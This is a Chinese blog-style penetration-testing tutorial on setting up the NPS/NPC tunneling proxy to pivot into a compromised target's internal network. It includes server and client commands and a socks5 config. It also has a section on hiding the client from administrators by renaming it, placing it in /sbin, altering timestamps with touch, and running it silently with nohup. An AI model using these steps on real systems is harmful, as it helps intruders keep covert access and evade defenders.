0x00 介绍
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
在打点成功进入目标内网后需要搭建隧道,以进一步对内网进行渗透,尝试了 NPS, 发现确实挺好用的,简单介绍一下
0x01 快速开始
NPS 服务端需要搭建在公网的服务器上,然后在 NPS web 管理界面进行简单配置,最后在内网运行 NPC(客户端)即可使用。
0x02 NPS (服务端)搭建
NPS 是开源的,可以直接在 GitHub 上找到作者编译好的各版本 releases
下载与自己公网服务器对应版本的服务端(服务端是 NPS,客户端是 NPC),我服务器对应的版本是linux_amd64_server.tar.gz
,接下来用它为例
先解压
tar -xzvf linux_amd64_server.tar.gz
得到的文件中有个名为nps
的文件,运行即可
sudo ./nps install
安装后配置文件会在/etc/nps/conf/nps.conf
可以在其中修改账号密码等配置,更新配置后sudo nps reload
或sudo nps restart
即可加载
0x03 NPS (服务端) web 管理界面配置
首先得配置好客户端
配置好之后会给出客户端命令
0x04 NPC (客户端)运行
和服务端一样,在releases处下载对应版本的 NPC,然后在内网机器里运行之前服务端给出的客户端命令即可,会输出提示连接到了服务端
而服务端也能看到客户端在线的信息
回到服务端新增一个 socks 代理,填上对应的客户端 ID,选一个服务端端口
0x05 使用代理
可以直接浏览器配置代理连接到内网
然后可以访问内网服务(涉及隐私就不截图了),NPS 控制台上能看到实时网速和总共流量
也可以配置proxychains
来代理终端的命令
当然Proxifier
、shadowsocks
等其他代理工具也行,在此不一一列举
0x06 隐藏 NPC
虽然 NPS 确实好用,但是只要服务器的管理人员查看进程就能很轻松的发现,甚至还能找到服务端的 IP,断掉隧道已经够让人难受的了,除此之外服务器 IP 被提交威胁情报、甚至是反打一波都是有可能的
得尝试尽可能的把 NPS 隐藏起来才行
首先把 NPS 的服务端作为参数就太明显了,NPC 提供了配置文件运行的方式
可以参考文档和官方示例配置文件,因为只使用了 socks5,所以只保留了全局和 socks5 的部分
[common]
server_addr=127.0.0.1:8024 # 修改成 NPS 的 IP
vkey=123 # 修改成对应隧道的 vkey
[socks5]
mode=socks5
server_port=19009 # 修改成对应隧道的端口
multi_account=multi_account.conf
修改好之后直接运行 NPC + 配置文件路径即可运行,可以忽略掉-config
参数
./npc conf/npc.conf
接下来可以把 NPC 和其配置文件重命名后移动到一些比较难发现的文件夹内,比如/sbin
、/usr/sbin
,藏木于林,用touch
修改文件时间等各种文件隐藏手段
nohup
运行
nohup ./npc conf/npc.conf >/dev/null 2>&1 &
如果还担心被发现,那接下来就得开始各种进程隐藏了,限于本文主题,就不提了。
0x07 总结
本文只讨论了 NPS 在后渗透中作为隧道来打通目标内网的使用场景,并简单介绍了 NPS,当然还有更多的功能和使用场景,具体可以阅读文档并结合自身需求。此外等我遇到新的使用场景也会继续更新这篇文章的。